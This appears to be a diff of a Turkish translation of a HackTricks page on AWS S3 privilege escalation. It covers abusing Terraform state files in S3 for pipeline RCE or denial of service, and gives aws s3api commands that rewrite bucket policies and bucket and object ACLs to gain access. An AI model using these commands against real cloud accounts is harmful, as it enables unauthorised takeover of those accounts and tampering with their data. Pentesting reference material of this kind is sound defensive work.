[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) durum dosyalarının bulut sağlayıcılarının blob depolama alanlarına kaydedilmesi oldukça yaygındır, örneğin AWS S3. Bir durum dosyasının dosya uzantısı `.tfstate`dir ve bucket adları genellikle terraform durum dosyalarını içerdiğini gösterir. Genellikle, her AWS hesabının durum dosyalarını depolamak için böyle bir bucket'ı vardır. Ayrıca genellikle, gerçek dünya hesaplarında neredeyse her geliştiricinin `s3:*` ve bazen hatta iş kullanıcılarının `s3:Put*` erişimi vardır.
|
||||
|
||||
Yani, bu dosyalar üzerindeki izinlere sahipseniz, `terraform` ayrıcalıklarıyla, çoğu zaman `AdministratorAccess` ile, pipeline'da RCE elde etmenizi sağlayan bir saldırı vektörü vardır, bu da sizi bulut hesabının yöneticisi yapar. Ayrıca, `terraform`'un meşru kaynakları silmesini sağlayarak bir hizmet reddi saldırısı yapmak için bu vektörü kullanabilirsiniz.
|
||||
|
||||
Doğrudan kullanılabilir istismar kodu için *Terraform Güvenliği* sayfasının *Terraform Durum Dosyalarını Kötüye Kullanma* bölümündeki açıklamayı takip edin:
|
||||
|
||||
{{#ref}}
|
||||
terraform-security.md#abusing-terraform-state-files
|
||||
{{#endref}}
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Aynı hesapta olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle kendisine bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisi kazanır.
|
||||
Aynı hesaptan olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisine sahip olabilir.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -110,7 +122,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
Bir saldırgan, bu izinleri **belirli kovalar üzerinde daha fazla erişim sağlamak** için kötüye kullanabilir.\
|
||||
Bir saldırgan, bu izinleri **belirli bucket'lar üzerinde daha fazla erişim sağlamak için** kötüye kullanabilir.\
|
||||
Saldırganın aynı hesapta olması gerekmediğini unutmayın. Ayrıca yazma erişimi
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
@@ -138,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlamak için kötüye kullanabilir.
|
||||
Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlayabilir.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
|
||||
Reference in New Issue
Block a user